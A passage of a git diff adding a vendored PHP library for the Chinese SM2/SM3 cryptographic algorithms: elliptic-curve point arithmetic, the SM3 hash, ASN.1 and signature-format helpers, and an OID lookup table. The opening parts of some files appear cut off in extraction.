$binc2 = hex2bin($c2); + $c1xEncoded = chr(2) . strlen($binc1x) . $binc1x; // c1x 64 hex + $c1yEncoded = chr(2) . strlen($binc1y) . $binc1y; // c1y 64 hex + $c3Encoded = chr(4) . self::_encode_length(strlen($binc3)) . $binc3; // c3的长度是固定的,可不用长宽度的方式求宽度,但有些就要c2 放前面呢,兼容下 + $c2Encoded = chr(4) . self::_encode_length(strlen($binc2)) . $binc2; + $cccc = $c1xEncoded . $c1yEncoded . $c3Encoded . $c2Encoded; + $lenAll = strlen($cccc); + $result = chr(48) . self::_encode_length($lenAll) . $cccc; + if ($outFormat == 'hex') { + return bin2hex($result); + } else { + return base64_encode($result); + } + } + + /** + * rs要固定长度,经测试会有小概率出现长度短的,要补0 + * + * @param string $hex + * @return string + */ + protected static function _padding_zero($hex) + { + $len = 64; // r,s都是32字节 + $left = $len - strlen($hex); + if ($left > 0) { + $hex = str_repeat('0', $left) . $hex; + } + return hex2bin($hex); + } + + + /** + * 去掉多余的0, int 的话补上必发 + * + * @param string $binStr + * @return string + */ + protected static function _format_int_pad($binStr) + { + //trim 0 + while (ord($binStr[0]) == 0) { + $binStr = substr($binStr, 1); + } + // add 0 if necessary + if (ord($binStr[0]) > 127) { + $binStr = chr(0) . $binStr; + } + // echo bin2hex($binStr)."\n"; + return $binStr; + } + + protected static function _encode_length($length) + { + + if ($length <= 0x7F) { + return chr($length); + } + $temp = ltrim(pack('N', $length), chr(0)); + return pack('Ca*', 0x80 | strlen($temp), $temp); + } +} diff --git a/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm2Ecc.php b/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm2Ecc.php new file mode 100644 index 0000000..efacd35 --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm2Ecc.php @@ -0,0 +1,18 @@ + gmp_init("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16), + 'a' => gmp_init("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16), + 'b' => gmp_init("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16), + 'n' => gmp_init("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16), + 'gx' => gmp_init("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16), + 'gy' => gmp_init("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16), + 'size'=>256 + ); + } + +} + diff --git a/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm2Point.php b/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm2Point.php new file mode 100644 index 0000000..ad20afd --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm2Point.php @@ -0,0 +1,188 @@ + + * modify by lpilp + * point 类 ,使用zlq童鞋 修改至 ECC的 point 类 Mdanter\Ecc\Primitives\Point + */ +class Sm2Point +{ + protected $eccParams; + protected $x; + protected $y; + + public function __construct(\GMP $x, \GMP $y) + { + $this->x = $x; + $this->y = $y; + $this->init(); + } + + protected function init() + { + + $eccParams = Sm2Ecc::get_params(); + $this->eccParams= $eccParams; + } + + public function mul(\GMP $n, $isBase = true) + { + $zero = gmp_init(0, 10); + $n = gmp_mod($n, $this->eccParams['p']); + if (gmp_cmp($n, $zero) === 0) { + return $this->getInfinity(); + } + $p = $isBase ? new self($this->eccParams['gx'], $this->eccParams['gy']) : clone $this; + /** @var Point[] $r */ + $r = [ + $this->getInfinity(), // Q + $p// P + ]; + $base = gmp_strval(gmp_init(gmp_strval($n), 10), 2); + $n = strrev(str_pad($base, $this->eccParams['size'], '0', STR_PAD_LEFT)); + for ($i = 0; $i < $this->eccParams['size']; $i++) { + $j = $n[$i]; + if($j == 1){ + $r[0] = $r[0]->add($r[1]); // r0 + r1 => p + 0 = p + } + $r[1] = $r[1]->getDouble(); + } + $r[0]->checkOnLine(); + + return $r[0]; + } + + public function add(Sm2Point $addend) + { + if ($addend->isInfinity()) { + return clone $this; + } + + if ($this->isInfinity()) { // 是否是无穷远点 + return clone $addend; + } + + // x 相等 + if (gmp_cmp($addend->getX(), $this->x) === 0) { + // y 也相等 = 倍点 + if (gmp_cmp($addend->getY(), $this->y) === 0) { + return $this->getDouble(); + } else { // y 不相等 无穷远点 + return $this->getInfinity(); + } + } + + $slope = $this->divMod(// λ = (y2 - y1) / (x2 - x1) (mod p) + gmp_sub($addend->getY(), $this->y), // y2 - y1 + gmp_sub($addend->getX(), $this->x) // x2 - x1 + ); + // λ² - x1 - x2 + $xR = $this->subMod(gmp_sub(gmp_pow($slope, 2), $this->x), $addend->getX()); + // (λ(x1 - x3)-y1) + $yR = $this->subMod(gmp_mul($slope, gmp_sub($this->x, $xR)), $this->y); + + return new self($xR, $yR); + } + + public function getDouble() + { + if ($this->isInfinity()) { + return $this->getInfinity(); + } + $threeX2 = gmp_mul(gmp_init(3, 10), gmp_pow($this->x, 2)); // 3x² + $tangent = $this->divMod( // λ = (3x² + a) / 2y (mod p) + gmp_add($threeX2, $this->eccParams['a']), // 3x² + a + gmp_mul(gmp_init(2, 10), $this->y) // 2y + ); + $x3 = $this->subMod( // λ² - 2x (mod p) + gmp_pow($tangent, 2), // λ² + gmp_mul(gmp_init(2, 10), $this->x) // 2x + ); + $y3 = $this->subMod( // λ(x - x3)-y (mod p) + gmp_mul($tangent, gmp_sub($this->x, $x3)), // λ(x - x3) + $this->y + ); + + return new self($x3, $y3); + } + + public function getInfinity() + { + return new self(gmp_init(0,10), gmp_init(0,10)); + } + + /** + * @return \GMP + */ + public function getX() + { + return $this->x; + } + + /** + * @return \GMP + */ + public function getY() + { + return $this->y; + } + + public function isInfinity() + { + return gmp_cmp($this->x, gmp_init(0,10)) === 0 + && gmp_cmp($this->y, gmp_init(0,10)) === 0; + } + + /** + * // k ≡ (x/y) (mod n) => ky ≡ x (mod n) => k y/x ≡ 1 (mod n) + * @param $x + * @param $y + * @param null $n + * @return \GMP|resource + */ + protected function divMod($x, $y, $n = null) + { + $n = $n?:$this->eccParams['p']; + // y k ≡ 1 (mod n) => k ≡ 1/y (mod n) + $k = gmp_invert($y, $n); + // kx ≡ x/y (mod n) + $kx = gmp_mul($x, $k); + + return gmp_mod($kx, $n); + } + + protected function subMod($x, $y, $n = null) + { + return gmp_mod(gmp_sub($x, $y), $n?:$this->eccParams['p']); + } + + public function contains(\GMP $x, \GMP $y) + { + $eq_zero = gmp_cmp( + $this->subMod( + gmp_pow($y, 2), + gmp_add( + gmp_add( + gmp_pow($x, 3), + gmp_mul($this->eccParams['a'], $x) + ), + $this->eccParams['b'] + ) + ), + gmp_init(0, 10) + ); + + return $eq_zero; + } + + public function checkOnLine() + { + if($this->contains($this->x, $this->y) !== 0){ + throw new \Exception('Invalid point'); + } + + return true; + } +} \ No newline at end of file diff --git a/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm3.php b/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm3.php new file mode 100644 index 0000000..e4a6dcf --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/smecc/SPLSM2/Sm3.php @@ -0,0 +1,151 @@ +getK($l); + $bt = $this->getB($k); + $str = $str . $bt . pack('J', $l); + + $count = strlen($str); + $l = $count / $this->STR_LEN; + $vr = hex2bin($this->IV); + for ($i = 0; $i < $l; $i++) { + $vr = $this->cf($vr, substr($str, $i * $this->STR_LEN, $this->STR_LEN)); + } + if($raw){ + return $vr; + } + return bin2hex($vr); + + } + + private function getK($l) + { + $v = $l % $this->LEN; + return $v + $this->STR_LEN < $this->LEN + ? $this->LEN - $this->STR_LEN - $v - 1 + : ($this->LEN * 2) - $this->STR_LEN - $v - 1; + } + + private function getB($k) + { + $arg = [128]; + $arg = array_merge($arg, array_fill(0, intval($k / 8), 0)); + return pack('C*', ...$arg); + } + + public function signFile($file) + { + $l = filesize($file) * 8; + $k = $this->getK($l); + $bt = $this->getB($k) . pack('J', $l); + + $hd = fopen($file, 'r'); + $vr = hex2bin($this->IV); + $str = fread($hd, $this->STR_LEN); + if ($l > $this->LEN - $this->STR_LEN - 1) { + do { + $vr = $this->cf($vr, $str); + $str = fread($hd, $this->STR_LEN); + } while (!feof($hd)); + } + + $str = $str . $bt; + $count = strlen($str) * 8; + $l = $count / $this->LEN; + for ($i = 0; $i < $l; $i++) { + $vr = $this->cf($vr, substr($str, $i * $this->STR_LEN, $this->STR_LEN)); + } + return bin2hex($vr); + } + + + private function t($i) + { + return $i < 16 ? 0x79cc4519 : 0x7a879d8a; + } + + private function cf($ai, $bi) + { + $wr = array_values(unpack('N*', $bi)); + for ($i = 16; $i < 68; $i++) { + $wr[$i] = $this->p1($wr[$i - 16] + ^ + $wr[$i - 9] + ^ + $this->lm($wr[$i - 3], 15)) + ^ + $this->lm($wr[$i - 13], 7) + ^ + $wr[$i - 6]; + } + $wr1 = []; + for ($i = 0; $i < 64; $i++) { + $wr1[] = $wr[$i] ^ $wr[$i + 4]; + } + + list($a, $b, $c, $d, $e, $f, $g, $h) = array_values(unpack('N*', $ai)); + + for ($i = 0; $i < 64; $i++) { + $ss1 = $this->lm( + ($this->lm($a, 12) + $e + $this->lm($this->t($i), $i % 32) & 0xffffffff), + 7); + $ss2 = $ss1 ^ $this->lm($a, 12); + $tt1 = ($this->ff($i, $a, $b, $c) + $d + $ss2 + $wr1[$i]) & 0xffffffff; + $tt2 = ($this->gg($i, $e, $f, $g) + $h + $ss1 + $wr[$i]) & 0xffffffff; + $d = $c; + $c = $this->lm($b, 9); + $b = $a; + $a = $tt1; + $h = $g; + $g = $this->lm($f, 19); + $f = $e; + $e = $this->p0($tt2); + } + + return pack('N*', $a, $b, $c, $d, $e, $f, $g, $h) ^ $ai; + } + + + private function ff($j, $x, $y, $z) + { + return $j < 16 ? $x ^ $y ^ $z : ($x & $y) | ($x & $z) | ($y & $z); + } + + private function gg($j, $x, $y, $z) + { + return $j < 16 ? $x ^ $y ^ $z : ($x & $y) | (~$x & $z); + } + + + private function lm($a, $n) + { + return ($a >> (32 - $n) | (($a << $n) & 0xffffffff)); + } + + private function p0($x) + { + return $x ^ $this->lm($x, 9) ^ $this->lm($x, 17); + } + + private function p1($x) + { + return $x ^ $this->lm($x, 15) ^ $this->lm($x, 23); + } + +} \ No newline at end of file diff --git a/includes/vendor/lpilp/guomi/src/util/FormatSign.php b/includes/vendor/lpilp/guomi/src/util/FormatSign.php new file mode 100644 index 0000000..0a26e4a --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/util/FormatSign.php @@ -0,0 +1,63 @@ +_decode_rs(base64_decode($sign)); + $binR = $this->_trim_int_pad($binR); + $binS = $this->_trim_int_pad($binS); + $lenR = strlen($binR); + $lenS = strlen($binS); + $result = chr(48) . chr(2 + $lenR + 2 + $lenS) . chr(2) . chr($lenR) . $binR . chr(2) . chr($lenS) . $binS; + return base64_encode($result); + } + /** + * + * + * @return string + */ + /** + * 招行的解签,没有用标准的asn1解析函数,当出现r,s的位数不足的时候就报错了,只支持rs, 31,32字节,当字节数少时强制补0吧 + * + * @param string $sign + * @return string + */ + public function format_cmbc($sign){ + list($binR, $binS) = $this->_decode_rs(base64_decode($sign)); + while(strlen($binR)<32){ + $binR = chr(0).$binR; + } + while(strlen($binS)<32){ + $binS = chr(0).$binS; + } + $lenR = strlen($binR); + $lenS = strlen($binS); + $result = chr(48) . chr(2 + $lenR + 2 + $lenS) . chr(2) . chr($lenR) . $binR . chr(2) . chr($lenS) . $binS; + return base64_encode($result); + } + private function _trim_int_pad($binStr) + { + // echo bin2hex($binStr)."\n"; + //trim 0 + while(ord($binStr[0])==0){ + $binStr = substr($binStr,1); + } + // add 0 if necessary + if(ord($binStr[0])>127){ + $binStr = chr(0).$binStr; + } + // echo bin2hex($binStr)."\n"; + return $binStr; + + } + private function _decode_rs($binSign) + { + $rLen = ord($binSign[3]); + $binR = substr($binSign, 4, $rLen); + $binS = substr($binSign, (4 + $rLen + 2)); + // echo bin2hex($binR) . "\n----------\n" . bin2hex($binS) . "\n"; + return [$binR, $binS]; + } +} diff --git a/includes/vendor/lpilp/guomi/src/util/KeyCompress.php b/includes/vendor/lpilp/guomi/src/util/KeyCompress.php new file mode 100644 index 0000000..0bb9acc --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/util/KeyCompress.php @@ -0,0 +1,79 @@ +getContent(); + if (is_array($content)) { + $result = array(); + foreach ($object as $child) { + $rs = self::printObject($child, $depth + 1); + $result[] = $rs; + } + return $result; + } else { + $type = $object->getType(); + + // $strval = $object->__toString(); + // 如果是 oid的话,tostring时是取的oidText, PHPasn1没有sm2等相关的就会去调用 http://oid-info.com/get/{$oidString}的接口,然后超时0.5秒 + // 这里相当于直接取get_contents(), 也是可以的 + $strval = $content; + if ($type == 6) { //oid + $rt = self::OIDtoText($strval); + } else if ($type == 2) { + $rt = self::format_bigint($strval); + } + // else if($type==4){ + // if(substr($strval,0,2)=='30') { //可以再分解 + // return self::decode($strval, 'hex'); + // } else { + // $rt = $strval; + // } + // } + else { + $rt = $strval; + } + return $rt; + // $name = Identifier::getShortName($type); + // $name = str_replace(" ", "-", $name); + // return "{$name}($type)_$rt"; + } + } + + public static function printObject2(ASNObject $object, $depth = 0) + { + $treeSymbol = ''; + $depthString = str_repeat('─', $depth); + if ($depth > 0) { + $treeSymbol = '├'; + } + // $type = $object->getType(); + $name = Identifier::getShortName($object->getType()); + echo "{$treeSymbol}{$depthString}{$name}: "; + $strval = $object->__toString(); + $result[] = $strval; + echo $object->__toString() . PHP_EOL; + + $content = $object->getContent(); + // print_R($content); + if (is_array($content)) { + foreach ($object as $child) { + self::printObject2($child, $depth + 1); + } + } + } + + protected static function pem2der($pem_data) + { + $begin = "-----"; + $end = "-----END"; + $pem_data = substr($pem_data, strpos($pem_data, $begin, 6) + strlen($begin)); + $pem_data = substr($pem_data, 0, strpos($pem_data, $end)); + $der = base64_decode($pem_data); + return $der; + } + /** + * 大数都转成16进制 + * + * @param bigint|string $data + * @return string + */ + protected static function format_bigint($data) + { + $hex = gmp_strval(gmp_init($data, 10), 16); + return self::padding_one_zero($hex); + } + public static function padding_one_zero($hex) + { + if (strlen($hex) % 2 == 1) { + $hex = '0' . $hex; + } + return $hex; + } + + public static function padding_zero($hex, $len = 64) + { + $left = $len - strlen($hex); + if ($left > 0) { + $hex = str_repeat('0', $left) . $hex; + } + return $hex; + } + /** + * from https://github.com/vakata/asn1 + * + * @var array + */ + public static $oids = array( + 'sm2' => '1.2.156.10197.1.301', + 'sm3WithSM2Encryption' => '1.2.156.10197.1.501', + 'sha1' => '1.3.14.3.2.26', + 'sha256' => '2.16.840.1.101.3.4.2.1', + 'sha384' => '2.16.840.1.101.3.4.2.2', + 'sha512' => '2.16.840.1.101.3.4.2.3', + 'sha224' => '2.16.840.1.101.3.4.2.4', + 'md5' => '1.2.840.113549.2.5', + 'md2' => '1.3.14.7.2.2.1', + 'ripemd160' => '1.3.36.3.2.1', + 'MD4withRSA' => '1.2.840.113549.1.1.3', + 'SHA1withECDSA' => '1.2.840.10045.4.1', + 'SHA224withECDSA' => '1.2.840.10045.4.3.1', + 'SHA256withECDSA' => '1.2.840.10045.4.3.2', + 'SHA384withECDSA' => '1.2.840.10045.4.3.3', + 'SHA512withECDSA' => '1.2.840.10045.4.3.4', + 'dsa' => '1.2.840.10040.4.1', + 'SHA1withDSA' => '1.2.840.10040.4.3', + 'SHA224withDSA' => '2.16.840.1.101.3.4.3.1', + 'SHA256withDSA' => '2.16.840.1.101.3.4.3.2', + 'rsaEncryption' => '1.2.840.113549.1.1.1', + 'countryName' => '2.5.4.6', + 'organization' => '2.5.4.10', + 'organizationalUnit' => '2.5.4.11', + 'stateOrProvinceName' => '2.5.4.8', + 'locality' => '2.5.4.7', + 'commonName' => '2.5.4.3', + 'subjectKeyIdentifier' => '2.5.29.14', + 'keyUsage' => '2.5.29.15', + 'subjectAltName' => '2.5.29.17', + 'basicConstraints' => '2.5.29.19', + 'nameConstraints' => '2.5.29.30', + 'cRLDistributionPoints' => '2.5.29.31', + 'certificatePolicies' => '2.5.29.32', + 'authorityKeyIdentifier' => '2.5.29.35', + 'policyConstraints' => '2.5.29.36', + 'extKeyUsage' => '2.5.29.37', + 'authorityInfoAccess' => '1.3.6.1.5.5.7.1.1', + 'anyExtendedKeyUsage' => '2.5.29.37.0', + 'serverAuth' => '1.3.6.1.5.5.7.3.1', + 'clientAuth' => '1.3.6.1.5.5.7.3.2', + 'codeSigning' => '1.3.6.1.5.5.7.3.3', + 'emailProtection' => '1.3.6.1.5.5.7.3.4', + 'timeStamping' => '1.3.6.1.5.5.7.3.8', + 'ocspSigning' => '1.3.6.1.5.5.7.3.9', + 'ecPublicKey' => '1.2.840.10045.2.1', + 'secp256r1' => '1.2.840.10045.3.1.7', + 'secp256k1' => '1.3.132.0.10', + 'secp384r1' => '1.3.132.0.34', + 'pkcs5PBES2' => '1.2.840.113549.1.5.13', + 'pkcs5PBKDF2' => '1.2.840.113549.1.5.12', + 'des-EDE3-CBC' => '1.2.840.113549.3.7', + 'data' => '1.2.840.113549.1.7.1', // CMS data + 'signed-data' => '1.2.840.113549.1.7.2', // CMS signed-data + 'enveloped-data' => '1.2.840.113549.1.7.3', // CMS enveloped-data + 'digested-data' => '1.2.840.113549.1.7.5', // CMS digested-data + 'encrypted-data' => '1.2.840.113549.1.7.6', // CMS encrypted-data + 'authenticated-data' => '1.2.840.113549.1.9.16.1.2', // CMS authenticated-data + 'tstinfo' => '1.2.840.113549.1.9.16.1.4', // RFC3161 TSTInfo, + 'pkix' => '1.3.6.1.5.5.7', + 'pe' => '1.3.6.1.5.5.7.1', + 'qt' => '1.3.6.1.5.5.7.2', + 'kp' => '1.3.6.1.5.5.7.3', + 'ad' => '1.3.6.1.5.5.7.48', + 'cps' => '1.3.6.1.5.5.7.2.1', + 'unotice' => '1.3.6.1.5.5.7.2.2', + 'ocsp' => '1.3.6.1.5.5.7.48.1', + 'caIssuers' => '1.3.6.1.5.5.7.48.2', + 'timeStamping' => '1.3.6.1.5.5.7.48.3', + 'caRepository' => '1.3.6.1.5.5.7.48.5', + 'at' => '2.5.4', + 'name' => '2.5.4.41', + 'surname' => '2.5.4.4', + 'givenName' => '2.5.4.42', + 'initials' => '2.5.4.43', + 'generationQualifier' => '2.5.4.44', + 'commonName' => '2.5.4.3', + 'localityName' => '2.5.4.7', + 'stateOrProvinceName' => '2.5.4.8', + 'organizationName' => '2.5.4.10', + 'organizationalUnitName' => '2.5.4.11', + 'title' => '2.5.4.12', + 'description' => '2.5.4.13', + 'dnQualifier' => '2.5.4.46', + 'countryName' => '2.5.4.6', + 'serialNumber' => '2.5.4.5', + 'pseudonym' => '2.5.4.65', + 'postalCode' => '2.5.4.17', + 'streetAddress' => '2.5.4.9', + 'uniqueIdentifier' => '2.5.4.45', + 'role' => '2.5.4.72', + 'postalAddress' => '2.5.4.16', + 'domainComponent' => '0.9.2342.19200300.100.1.25', + 'pkcs-9' => '1.2.840.113549.1.9', + 'emailAddress' => '1.2.840.113549.1.9.1', + 'ce' => '2.5.29', + 'authorityKeyIdentifier' => '2.5.29.35', + 'subjectKeyIdentifier' => '2.5.29.14', + 'keyUsage' => '2.5.29.15', + 'privateKeyUsagePeriod' => '2.5.29.16', + 'certificatePolicies' => '2.5.29.32', + 'anyPolicy' => '2.5.29.32.0', + 'policyMappings' => '2.5.29.33', + 'subjectAltName' => '2.5.29.17', + 'issuerAltName' => '2.5.29.18', + 'subjectDirectoryAttributes' => '2.5.29.9', + 'basicConstraints' => '2.5.29.19', + 'nameConstraints' => '2.5.29.30', + 'policyConstraints' => '2.5.29.36', + 'cRLDistributionPoints' => '2.5.29.31', + 'extKeyUsage' => '2.5.29.37', + 'anyExtendedKeyUsage' => '2.5.29.37.0', + 'kp-serverAuth' => '1.3.6.1.5.5.7.3.1', + 'kp-clientAuth' => '1.3.6.1.5.5.7.3.2', + 'kp-codeSigning' => '1.3.6.1.5.5.7.3.3', + 'kp-emailProtection' => '1.3.6.1.5.5.7.3.4', + 'kp-timeStamping' => '1.3.6.1.5.5.7.3.8', + 'kp-OCSPSigning' => '1.3.6.1.5.5.7.3.9', + 'inhibitAnyPolicy' => '2.5.29.54', + 'freshestCRL' => '2.5.29.46', + 'pe-authorityInfoAccess' => '1.3.6.1.5.5.7.1.1', + 'pe-subjectInfoAccess' => '1.3.6.1.5.5.7.1.11', + 'cRLNumber' => '2.5.29.20', + 'issuingDistributionPoint' => '2.5.29.28', + 'deltaCRLIndicator' => '2.5.29.27', + 'cRLReasons' => '2.5.29.21', + 'certificateIssuer' => '2.5.29.29', + 'holdInstructionCode' => '2.5.29.23', + 'holdInstruction' => '1.2.840.10040.2', + 'holdinstruction-none' => '1.2.840.10040.2.1', + 'holdinstruction-callissuer' => '1.2.840.10040.2.2', + 'holdinstruction-reject' => '1.2.840.10040.2.3', + 'invalidityDate' => '2.5.29.24', + 'md2' => '1.2.840.113549.2.2', + 'md5' => '1.2.840.113549.2.5', + 'sha1' => '1.3.14.3.2.26', + 'dsa' => '1.2.840.10040.4.1', + 'dsa-with-sha1' => '1.2.840.10040.4.3', + 'pkcs-1' => '1.2.840.113549.1.1', + 'rsaEncryption' => '1.2.840.113549.1.1.1', + 'md2WithRSAEncryption' => '1.2.840.113549.1.1.2', + 'md5WithRSAEncryption' => '1.2.840.113549.1.1.4', + 'sha1WithRSAEncryption' => ['1.2.840.113549.1.1.5', '1.3.14.3.2.29'], + 'dhpublicnumber' => '1.2.840.10046.2.1', + 'keyExchangeAlgorithm' => '2.16.840.1.101.2.1.1.22', + 'ansi-X9-62' => '1.2.840.10045', + 'ecSigType' => '1.2.840.10045.4', + 'ecdsa-with-SHA1' => '1.2.840.10045.4.1', + 'fieldType' => '1.2.840.10045.1', + 'prime-field' => '1.2.840.10045.1.1', + 'characteristic-two-field' => '1.2.840.10045.1.2', + 'characteristic-two-basis' => '1.2.840.10045.1.2.3', + 'gnBasis' => '1.2.840.10045.1.2.3.1', + 'tpBasis' => '1.2.840.10045.1.2.3.2', + 'ppBasis' => '1.2.840.10045.1.2.3.3', + 'publicKeyType' => '1.2.840.10045.2', + 'ecPublicKey' => '1.2.840.10045.2.1', + 'ellipticCurve' => '1.2.840.10045.3', + 'c-TwoCurve' => '1.2.840.10045.3.0', + 'c2pnb163v1' => '1.2.840.10045.3.0.1', + 'c2pnb163v2' => '1.2.840.10045.3.0.2', + 'c2pnb163v3' => '1.2.840.10045.3.0.3', + 'c2pnb176w1' => '1.2.840.10045.3.0.4', + 'c2pnb191v1' => '1.2.840.10045.3.0.5', + 'c2pnb191v2' => '1.2.840.10045.3.0.6', + 'c2pnb191v3' => '1.2.840.10045.3.0.7', + 'c2pnb191v4' => '1.2.840.10045.3.0.8', + 'c2pnb191v5' => '1.2.840.10045.3.0.9', + 'c2pnb208w1' => '1.2.840.10045.3.0.10', + 'c2pnb239v1' => '1.2.840.10045.3.0.11', + 'c2pnb239v2' => '1.2.840.10045.3.0.12', + 'c2pnb239v3' => '1.2.840.10045.3.0.13', + 'c2pnb239v4' => '1.2.840.10045.3.0.14', + 'c2pnb239v5' => '1.2.840.10045.3.0.15', + 'c2pnb272w1' => '1.2.840.10045.3.0.16', + 'c2pnb304w1' => '1.2.840.10045.3.0.17', + 'c2pnb359v1' => '1.2.840.10045.3.0.18', + 'c2pnb368w1' => '1.2.840.10045.3.0.19', + 'c2pnb431r1' => '1.2.840.10045.3.0.20', + 'primeCurve' => '1.2.840.10045.3.1', + 'prime192v1' => '1.2.840.10045.3.1.1', + 'prime192v2' => '1.2.840.10045.3.1.2', + 'prime192v3' => '1.2.840.10045.3.1.3', + 'prime239v1' => '1.2.840.10045.3.1.4', + 'prime239v2' => '1.2.840.10045.3.1.5', + 'prime239v3' => '1.2.840.10045.3.1.6', + 'prime256v1' => '1.2.840.10045.3.1.7', + 'RSAES-OAEP' => '1.2.840.113549.1.1.7', + 'pSpecified' => '1.2.840.113549.1.1.9', + 'RSASSA-PSS' => '1.2.840.113549.1.1.10', + 'mgf1' => '1.2.840.113549.1.1.8', + 'sha224WithRSAEncryption' => '1.2.840.113549.1.1.14', + 'sha256WithRSAEncryption' => '1.2.840.113549.1.1.11', + 'sha384WithRSAEncryption' => '1.2.840.113549.1.1.12', + 'sha512WithRSAEncryption' => '1.2.840.113549.1.1.13', + 'sha224' => '2.16.840.1.101.3.4.2.4', + 'sha256' => '2.16.840.1.101.3.4.2.1', + 'sha384' => '2.16.840.1.101.3.4.2.2', + 'sha512' => '2.16.840.1.101.3.4.2.3', + 'GostR3411-94-with-GostR3410-94' => '1.2.643.2.2.4', + 'GostR3411-94-with-GostR3410-2001' => '1.2.643.2.2.3', + 'GostR3410-2001' => '1.2.643.2.2.20', + 'GostR3410-94' => '1.2.643.2.2.19', + 'netscape' => '2.16.840.1.113730', + 'netscape-cert-extension' => '2.16.840.1.113730.1', + 'netscape-cert-type' => '2.16.840.1.113730.1.1', + 'netscape-comment' => '2.16.840.1.113730.1.13', + 'netscape-ca-policy-url' => '2.16.840.1.113730.1.8', + 'logotype' => '1.3.6.1.5.5.7.1.12', + 'entrustVersInfo' => '1.2.840.113533.7.65.0', + 'verisignPrivate' => '2.16.840.1.113733.1.6.9', + 'unstructuredName' => '1.2.840.113549.1.9.2', + 'challengePassword' => '1.2.840.113549.1.9.7', + 'extensionRequest' => '1.2.840.113549.1.9.14', + 'userid' => '0.9.2342.19200300.100.1.1', + 's/mime' => '1.2.840.113549.1.9.15', + 'unstructuredAddress' => '1.2.840.113549.1.9.8', + 'rc2-cbc' => '1.2.840.113549.3.2', + 'rc4' => '1.2.840.113549.3.4', + 'desCBC' => '1.3.14.3.2.7', + 'qcStatements' => '1.3.6.1.5.5.7.1.3', + 'pkixQCSyntax-v1' => '1.3.6.1.5.5.7.11.1', + 'pkixQCSyntax-v2' => '1.3.6.1.5.5.7.11.2', + 'ipsecEndSystem' => '1.3.6.1.5.5.7.3.5', + 'ipsecTunnel' => '1.3.6.1.5.5.7.3.6', + 'ipsecUser' => '1.3.6.1.5.5.7.3.7', + 'OCSP' => '1.3.6.1.5.5.7.48.1', + 'countryOfCitizenship' => '1.3.6.1.5.5.7.9.4', + 'IPSECProtection' => '1.3.6.1.5.5.8.2.2', + 'telephoneNumber' => '2.5.4.20', + 'organizationIdentifier' => '2.5.4.97', + + ); + + public static $oidTexts = array( + '1.2.156.10197.1.301' => 'sm2', + '1.2.156.10197.1.501' => 'sm3WithSM2Encryption', + '1.3.14.3.2.26' => 'sha1', + '2.16.840.1.101.3.4.2.1' => 'sha256', + '2.16.840.1.101.3.4.2.2' => 'sha384', + '2.16.840.1.101.3.4.2.3' => 'sha512', + '2.16.840.1.101.3.4.2.4' => 'sha224', + '1.2.840.113549.2.5' => 'md5', + '1.2.840.113549.2.2' => 'md2', + '1.3.36.3.2.1' => 'ripemd160', + '1.2.840.113549.1.1.3' => 'MD4withRSA', + '1.2.840.10045.4.1' => 'SHA1withECDSA', + '1.2.840.10045.4.3.1' => 'SHA224withECDSA', + '1.2.840.10045.4.3.2' => 'SHA256withECDSA', + '1.2.840.10045.4.3.3' => 'SHA384withECDSA', + '1.2.840.10045.4.3.4' => 'SHA512withECDSA', + '1.2.840.10040.4.1' => 'dsa', + '1.2.840.10040.4.3' => 'SHA1withDSA', + '2.16.840.1.101.3.4.3.1' => 'SHA224withDSA', + '2.16.840.1.101.3.4.3.2' => 'SHA256withDSA', + '1.2.840.113549.1.1.1' => 'rsaEncryption', + '2.5.4.6' => 'countryName', + '2.5.4.10' => 'organization', + '2.5.4.11' => 'organizationalUnit', + '2.5.4.8' => 'stateOrProvinceName', + '2.5.4.7' => 'locality', + '2.5.4.3' => 'commonName', + '2.5.29.14' => 'subjectKeyIdentifier', + '2.5.29.15' => 'keyUsage', + '2.5.29.17' => 'subjectAltName', + '2.5.29.19' => 'basicConstraints', + '2.5.29.30' => 'nameConstraints', + '2.5.29.31' => 'cRLDistributionPoints', + '2.5.29.32' => 'certificatePolicies', + '2.5.29.35' => 'authorityKeyIdentifier', + '2.5.29.36' => 'policyConstraints', + '2.5.29.37' => 'extKeyUsage', + '1.3.6.1.5.5.7.1.1' => 'authorityInfoAccess', + '2.5.29.37.0' => 'anyExtendedKeyUsage', + '1.3.6.1.5.5.7.3.1' => 'serverAuth', + '1.3.6.1.5.5.7.3.2' => 'clientAuth', + '1.3.6.1.5.5.7.3.3' => 'codeSigning', + '1.3.6.1.5.5.7.3.4' => 'emailProtection', + '1.3.6.1.5.5.7.48.3' => 'timeStamping', + '1.3.6.1.5.5.7.3.9' => 'ocspSigning', + '1.2.840.10045.2.1' => 'ecPublicKey', + '1.2.840.10045.3.1.7' => 'secp256r1', + '1.3.132.0.10' => 'secp256k1', + '1.3.132.0.34' => 'secp384r1', + '1.2.840.113549.1.5.13' => 'pkcs5PBES2', + '1.2.840.113549.1.5.12' => 'pkcs5PBKDF2', + '1.2.840.113549.3.7' => 'des-EDE3-CBC', + '1.2.840.113549.1.7.1' => 'data', + '1.2.840.113549.1.7.2' => 'signed-data', + '1.2.840.113549.1.7.3' => 'enveloped-data', + '1.2.840.113549.1.7.5' => 'digested-data', + '1.2.840.113549.1.7.6' => 'encrypted-data', + '1.2.840.113549.1.9.16.1.2' => 'authenticated-data', + '1.2.840.113549.1.9.16.1.4' => 'tstinfo', + '1.3.6.1.5.5.7' => 'pkix', + '1.3.6.1.5.5.7.1' => 'pe', + '1.3.6.1.5.5.7.2' => 